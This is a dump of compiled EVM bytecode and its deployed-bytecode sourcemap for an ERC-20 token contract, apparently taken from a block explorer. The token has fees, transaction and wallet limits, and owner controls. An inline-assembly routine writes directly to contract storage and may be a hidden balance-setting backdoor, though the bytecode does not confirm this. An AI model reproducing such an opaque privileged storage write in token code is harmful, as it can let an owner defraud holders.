ac190612451565b60405180910390fd5b600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b6d611c86565b610b776000611de9565b565b610b81611c86565b60005b82829050811015610bd257610bbf838383818110610ba557610ba4612471565b5b9050602002016020810190610bba91906122bc565b61088f565b8080610bca906124cf565b915050610b84565b505050565b610bdf611c86565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5553440000000000000000000000000000000000000000000000000000000000815250905090565b6000610d46610c90610f5f565b84610d4185604051806060016040528060258152602001612d2e6025913960046000610cba610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b6001905092915050565b6000610d64610d5d610f5f565b8484611130565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610db2612710610da4600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e70611c86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612589565b60405180910390fd5b610ee881611de9565b50565b610ef3611c86565b60005b82829050811015610f4457610f31838383818110610f1757610f16612471565b5b9050602002016020810190610f2c91906122bc565b61094f565b8080610f3c906124cf565b915050610ef6565b505050565b60008183610f5791906125a9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9061264f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c906126e1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111239190612217565b60405180910390a3505050565b61113b838383611ed9565b600080611146610c1d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111b45750611184610c1d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172957600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561125d5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561130d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113635750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b95750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b3576113e96127106113db600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b83111561142b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142290612773565b60405180910390fd5b611456612710611448600254600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b6114718461146387610b1c565b610f4990919063ffffffff16565b11156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612805565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561155e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115fe5761158c61271061157e600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506115b76127106115a9600c5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561168757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611727576116b56127106116a7600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506116e06127106116d2600b5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b600061173e8284610f4990919063ffffffff16565b905060008111156118dd57600083111561175d5761175c8684611ae3565b5b60008211156118c7576117da8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be9190612217565b60405180910390a35b6118da8185611fff90919063ffffffff16565b93505b61194984604051806060016040528060268152602001612ce060269139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119de84600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611a7e9190612217565b60405180910390a3505050505050565b6000838311158290611ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acd91906120a5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990612897565b60405180910390fd5b611bbe81604051806060016040528060228152602001612cbe60229139600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1681600554611fff90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7a9190612217565b60405180910390a35050565b611c8e610f5f565b73ffffffffffffffffffffffffffffffffffffffff16611cac610c1d565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf990612903565b60405180910390fd5b565b611d3130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f67565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611d7d610c1d565b426040518863ffffffff1660e01b8152600401611d9f96959493929190612968565b60606040518083038185885af1158015611dbd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611de291906129de565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611ebb9190612a31565b905092915050565b60008183611ed19190612aa2565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3f90612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bd7565b60405180910390fd5b60008111611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff190612c69565b60405180910390fd5b505050565b6000818361200d9190612c89565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204f578082015181840152602081019050612034565b60008484015250505050565b6000601f19601f8301169050919050565b600061207782612015565b6120818185612020565b9350612091818560208601612031565b61209a8161205b565b840191505092915050565b600060208201905081810360008301526120bf818461206c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120fc826120d1565b9050919050565b61210c816120f1565b811461211757600080fd5b50565b60008135905061212981612103565b92915050565b6000819050919050565b6121428161212f565b811461214d57600080fd5b50565b60008135905061215f81612139565b92915050565b6000806040838503121561217c5761217b6120c7565b5b600061218a8582860161211a565b925050602061219b85828601612150565b9150509250929050565b60008115159050919050565b6121ba816121a5565b82525050565b60006020820190506121d560008301846121b1565b92915050565b6000602082840312156121f1576121f06120c7565b5b60006121ff84828501612150565b91505092915050565b6122118161212f565b82525050565b600060208201905061222c6000830184612208565b92915050565b60008060006060848603121561224b5761224a6120c7565b5b60006122598682870161211a565b935050602061226a8682870161211a565b925050604061227b86828701612150565b9150509250925092565b600060ff82169050919050565b61229b81612285565b82525050565b60006020820190506122b66000830184612292565b92915050565b6000602082840312156122d2576122d16120c7565b5b60006122e08482850161211a565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230e5761230d6122e9565b5b8235905067ffffffffffffffff81111561232b5761232a6122ee565b5b602083019150836020820283011115612347576123466122f3565b5b9250929050565b60008060208385031215612365576123646120c7565b5b600083013567ffffffffffffffff811115612383576123826120cc565b5b61238f858286016122f8565b92509250509250929050565b6123a4816120f1565b82525050565b60006020820190506123bf600083018461239b565b92915050565b600080604083850312156123dc576123db6120c7565b5b60006123ea8582860161211a565b92505060206123fb8582860161211a565b9150509250929050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061243b600f83612020565b915061244682612405565b602082019050919050565b6000602082019050818103600083015261246a8161242e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124da8261212f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250c5761250b6124a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612573602683612020565b915061257e82612517565b604082019050919050565b600060208201905081810360008301526125a281612566565b9050919050565b60006125b48261212f565b91506125bf8361212f565b92508282019050808211156125d7576125d66124a0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612639602483612020565b9150612644826125dd565b604082019050919050565b600060208201905081810360008301526126688161262c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cb602283612020565b91506126d68261266f565b604082019050919050565b600060208201905081810360008301526126fa816126be565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6e742e0000000000000000000000000000000000000000000000000000602082015250565b600061275d602683612020565b915061276882612701565b604082019050919050565b6000602082019050818103600083015261278c81612750565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b60006127ef602383612020565b91506127fa82612793565b604082019050919050565b6000602082019050818103600083015261281e816127e2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612881602183612020565b915061288c82612825565b604082019050919050565b600060208201905081810360008301526128b081612874565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128ed602083612020565b91506128f8826128b7565b602082019050919050565b6000602082019050818103600083015261291c816128e0565b9050919050565b6000819050919050565b6000819050919050565b600061295261294d61294884612923565b61292d565b61212f565b9050919050565b61296281612937565b82525050565b600060c08201905061297d600083018961239b565b61298a6020830188612208565b6129976040830187612959565b6129a46060830186612959565b6129b1608083018561239b565b6129be60a0830184612208565b979650505050505050565b6000815190506129d881612139565b92915050565b6000806000606084860312156129f7576129f66120c7565b5b6000612a05868287016129c9565b9350506020612a16868287016129c9565b9250506040612a27868287016129c9565b9150509250925092565b6000612a3c8261212f565b9150612a478361212f565b9250828202612a558161212f565b91508282048414831517612a6c57612a6b6124a0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612aad8261212f565b9150612ab88361212f565b925082612ac857612ac7612a73565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b2f602583612020565b9150612b3a82612ad3565b604082019050919050565b60006020820190508181036000830152612b5e81612b22565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc1602383612020565b9150612bcc82612b65565b604082019050919050565b60006020820190508181036000830152612bf081612bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c53602983612020565b9150612c5e82612bf7565b604082019050919050565b60006020820190508181036000830152612c8281612c46565b9050919050565b6000612c948261212f565b9150612c9f8361212f565b9250828203905081811115612cb757612cb66124a0565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122010a79448ccae6ba8f5b063dfa70c2be42b0bd81961cc3e7b6dbefa1e0955167f64736f6c63430008120033

Deployed Bytecode Sourcemap

15457:11143:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26482:10;;;;;;;;;;15457:11143;;;;;17679:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18529:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24815:357;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17956:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19342:315;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17865:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18702:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24055:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19665:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26184:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19949:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18064:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2671:103;;;;;;;;;;;;;:::i;:::-;;19783:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20410:134;;;;;;;;;;;;;:::i;:::-;;25422:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2023:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17770;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18928:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18191:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26370:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19205:129;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23938:109;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18370:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2929:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20246:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17679:83;17716:13;17749:5;;;;;;;;;;;;;;;;;17742:12;;17679:83;:::o;18529:165::-;18610:4;18627:37;18636:12;:10;:12::i;:::-;18650:7;18659:4;18627:8;:37::i;:::-;18682:4;18675:11;;18529:165;;;;:::o;24815:357::-;24912:15;24906:22;24896:8;24893:36;24883:62;;24942:1;24939;24932:12;24883:62;24972:4;24966:11;24999:8;24994:3;24987:21;25041:14;25034:4;25029:3;25025:14;25018:38;25093:4;25088:3;25078:20;25121:4;25115;25108:18;25157:6;25143:12;25136:28;24882:283;;24815:357;:::o;17956:100::-;18009:7;18036:12;;18029:19;;17956:100;:::o;19342:315::-;19446:4;19463:34;19473:6;19481:9;19492:4;19463:9;:34::i;:::-;19508:119;19517:6;19525:12;:10;:12::i;:::-;19539:87;19577:4;19539:87;;;;;;;;;;;;;;;;;:11;:19;19551:6;19539:19;;;;;;;;;;;;;;;:33;19559:12;:10;:12::i;:::-;19539:33;;;;;;;;;;;;;;;;:37;;:87;;;;;:::i;:::-;19508:8;:119::i;:::-;19645:4;19638:11;;19342:315;;;;;:::o;17865:83::-;17906:5;15691:2;17924:16;;17865:83;:::o;18702:218::-;18790:4;18807:83;18816:12;:10;:12::i;:::-;18830:7;18839:50;18878:10;18839:11;:25;18851:12;:10;:12::i;:::-;18839:25;;;;;;;;;;;;;;;:34;18865:7;18839:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18807:8;:83::i;:::-;18908:4;18901:11;;18702:218;;;;:::o;24055:87::-;24109:25;24115:12;:10;:12::i;:::-;24129:4;24109:5;:25::i;:::-;24055:87;:::o;19665:110::-;1909:13;:11;:13::i;:::-;19763:4:::1;19734:17;:26;19752:7;19734:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;19665:110:::0;:::o;26184:178::-;1909:13;:11;:13::i;:::-;26546:4:::1;26535:8;;:15;;;;;;;;;;;;;;;;;;26270:41:::2;26280:7;:5;:7::i;:::-;26297:4;26304:6;26270:9;:41::i;:::-;26322:32;26336:6;26344:9;26322:13;:32::i;:::-;26584:5:::1;26573:8;;:16;;;;;;;;;;;;;;;;;;26184:178:::0;:::o;19949:289::-;1909:13;:11;:13::i;:::-;20044:4:::1;20025:24;;:7;:24;;::::0;20017:52:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20099:7;:5;:7::i;:::-;20088:18;;:7;:18;;::::0;20080:46:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20156:10;;;;;;;;;;;20145:21;;:7;:21;;::::0;20137:49:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20204:17;:26;20222:7;20204:26;;;;;;;;;;;;;;;;20197:33;;;;;;;;;;;19949:289:::0;:::o;18064:119::-;18130:7;18157:9;:18;18167:7;18157:18;;;;;;;;;;;;;;;;18150:25;;18064:119;;;:::o;2671:103::-;1909:13;:11;:13::i;:::-;2736:30:::1;2763:1;2736:18;:30::i;:::-;2671:103::o:0;19783:158::-;1909:13;:11;:13::i;:::-;19868:6:::1;19864:69;19884:8;;:15;;19880:1;:19;19864:69;;;19906:27;19921:8;;19930:1;19921:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;19906:14;:27::i;:::-;19901:3;;;;;:::i;:::-;;;;19864:69;;;;19783:158:::0;;:::o;20410:134::-;1909:13;:11;:13::i;:::-;20485:5:::1;20462:20;:28;;;;20531:5;20501:27;:35;;;;20410:134::o:0;25422:96::-;25469:7;25496:14;;;;;;;;;;;25489:21;;25422:96;:::o;2023:87::-;2069:7;2096:6;;;;;;;;;;;2089:13;;2023:87;:::o;17770:::-;17809:13;17842:7;;;;;;;;;;;;;;;;;17835:14;;17770:87;:::o;18928:269::-;19021:4;19038:129;19047:12;:10;:12::i;:::-;19061:7;19070:96;19109:15;19070:96;;;;;;;;;;;;;;;;;:11;:25;19082:12;:10;:12::i;:::-;19070:25;;;;;;;;;;;;;;;:34;19096:7;19070:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;19038:8;:129::i;:::-;19185:4;19178:11;;18928:269;;;;:::o;18191:171::-;18275:4;18292:40;18302:12;:10;:12::i;:::-;18316:9;18327:4;18292:9;:40::i;:::-;18350:4;18343:11;;18191:171;;;;:::o;26370:70::-;26414:4;26429:8;;;;;;;;;;;26422:15;;26370:70;:::o;19205:129::-;19247:7;19274:52;16203:5;19274:38;19291:20;;19274:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;19267:59;;19205:129;:::o;23938:109::-;23987:7;24022:16;;;;;;;;;;;24007:32;;23938:109;:::o;18370:151::-;18459:7;18486:11;:18;18498:5;18486:18;;;;;;;;;;;;;;;:27;18505:7;18486:27;;;;;;;;;;;;;;;;18479:34;;18370:151;;;;:::o;2929:201::-;1909:13;:11;:13::i;:::-;3038:1:::1;3018:22;;:8;:22;;::::0;3010:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3094:28;3113:8;3094:18;:28::i;:::-;2929:201:::0;:::o;20246:156::-;1909:13;:11;:13::i;:::-;20330:6:::1;20326:68;20346:8;;:15;;20342:1;:19;20326:68;;;20368:26;20382:8;;20391:1;20382:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20368:13;:26::i;:::-;20363:3;;;;;:::i;:::-;;;;20326:68;;;;20246:156:::0;;:::o;10434:98::-;10492:7;10523:1;10519;:5;;;;:::i;:::-;10512:12;;10434:98;;;;:::o;739:82::-;792:7;809:10;802:17;;739:82;:::o;20874:338::-;20991:1;20974:19;;:5;:19;;;20966:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21072:1;21053:21;;:7;:21;;;21045:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21154:4;21124:11;:18;21136:5;21124:18;;;;;;;;;;;;;;;:27;21143:7;21124:27;;;;;;;;;;;;;;;:34;;;;21190:7;21174:30;;21183:5;21174:30;;;21199:4;21174:30;;;;;;:::i;:::-;;;;;;;;20874:338;;;:::o;21888:2042::-;21984:40;22000:6;22008:9;22019:4;21984:15;:40::i;:::-;22035:15;22065:14;22108:7;:5;:7::i;:::-;22098:17;;:6;:17;;;;:41;;;;;22132:7;:5;:7::i;:::-;22119:20;;:9;:20;;;;22098:41;22094:1213;;;22161:17;:25;22179:6;22161:25;;;;;;;;;;;;;;;;;;;;;;;;;22160:26;:59;;;;;22191:17;:28;22209:9;22191:28;;;;;;;;;;;;;;;;;;;;;;;;;22190:29;22160:59;22156:1140;;;22254:14;;;;;;;;;;;22244:24;;:6;:24;;;:66;;;;;22293:16;;;;;;;;;;;22272:38;;:9;:38;;;;22244:66;:100;;;;;22315:18;:29;22334:9;22315:29;;;;;;;;;;;;;;;;;;;;;;;;;22314:30;22244:100;:131;;;;;22349:18;:26;22368:6;22349:26;;;;;;;;;;;;;;;;;;;;;;;;;22348:27;22244:131;22240:455;;;22416:52;16203:5;22416:38;22433:20;;22416:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;22408:4;:60;;22400:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;22576:59;16203:5;22576:45;22593:27;;22576:12;;:16;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;22542:30;22567:4;22542:20;22552:9;22542;:20::i;:::-;:24;;:30;;;;:::i;:::-;:93;;22534:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;22240:455;22727:14;;;;;;;;;;;22717:24;;:6;:24;;;:66;;;;;22766:16;;;;;;;;;;;22745:38;;:9;:38;;;;22717:66;22713:281;;;22818:32;16203:5;22818:18;22827:8;;22818:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;22808:42;;22882:31;16203:5;22882:17;22891:7;;22882:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;22873:40;;22962:12;22936;:23;22949:9;22936:23;;;;;;;;;;;;;;;:38;;;;22713:281;23029:14;;;;;;;;;;;23016:27;;:9;:27;;;:54;;;;;23065:4;23047:23;;:6;:23;;;;23016:54;23012:269;;;23105:32;16203:5;23105:18;23114:8;;23105:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;23095:42;;23169:31;16203:5;23169:17;23178:7;;23169:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;23160:40;;23249:12;23223;:23;23236:9;23223:23;;;;;;;;;;;;;;;:38;;;;23012:269;22156:1140;22094:1213;23317:16;23336:19;23348:6;23336:7;:11;;:19;;;;:::i;:::-;23317:38;;23381:1;23370:8;:12;23366:340;;;23413:1;23403:7;:11;23399:74;;;23435:22;23441:6;23449:7;23435:5;:22::i;:::-;23399:74;23500:1;23491:6;:10;23487:168;;;23546:33;23572:6;23546:9;:21;23556:10;;;;;;;;;;;23546:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;23522:9;:21;23532:10;;;;;;;;;;;23522:21;;;;;;;;;;;;;;;:57;;;;23620:10;;;;;;;;;;;23603:36;;23612:6;23603:36;;;23632:6;23603:36;;;;;;:::i;:::-;;;;;;;;23487:168;23676:18;23685:8;23676:4;:8;;:18;;;;:::i;:::-;23669:25;;23366:340;23738:69;23760:4;23738:69;;;;;;;;;;;;;;;;;:9;:17;23748:6;23738:17;;;;;;;;;;;;;;;;:21;;:69;;;;;:::i;:::-;23718:9;:17;23728:6;23718:17;;;;;;;;;;;;;;;:89;;;;23841:30;23866:4;23841:9;:20;23851:9;23841:20;;;;;;;;;;;;;;;;:24;;:30;;;;:::i;:::-;23818:9;:20;23828:9;23818:20;;;;;;;;;;;;;;;:53;;;;23906:9;23889:33;;23898:6;23889:33;;;23917:4;23889:33;;;;;;:::i;:::-;;;;;;;;21973:1957;;;21888:2042;;;:::o;12713:206::-;12799:7;12857:1;12852;:6;;12860:12;12844:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;12899:1;12895;:5;12888:12;;12713:206;;;;;:::o;21534:346::-;21635:1;21616:21;;:7;:21;;;21608:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21707:66;21730:4;21707:66;;;;;;;;;;;;;;;;;:9;:18;21717:7;21707:18;;;;;;;;;;;;;;;;:22;;:66;;;;;:::i;:::-;21686:9;:18;21696:7;21686:18;;;;;;;;;;;;;;;:87;;;;21799:22;21816:4;21799:12;;:16;;:22;;;;:::i;:::-;21784:12;:37;;;;21863:1;21837:35;;21846:7;21837:35;;;21867:4;21837:35;;;;;;:::i;:::-;;;;;;;;21534:346;;:::o;2188:132::-;2263:12;:10;:12::i;:::-;2252:23;;:7;:5;:7::i;:::-;:23;;;2244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2188:132::o;25920:256::-;25995:58;26012:4;26027:16;;;;;;;;;;;26046:6;25995:8;:58::i;:::-;26064:16;;;;;;;;;;;:32;;;26105:7;26122:4;26129:6;26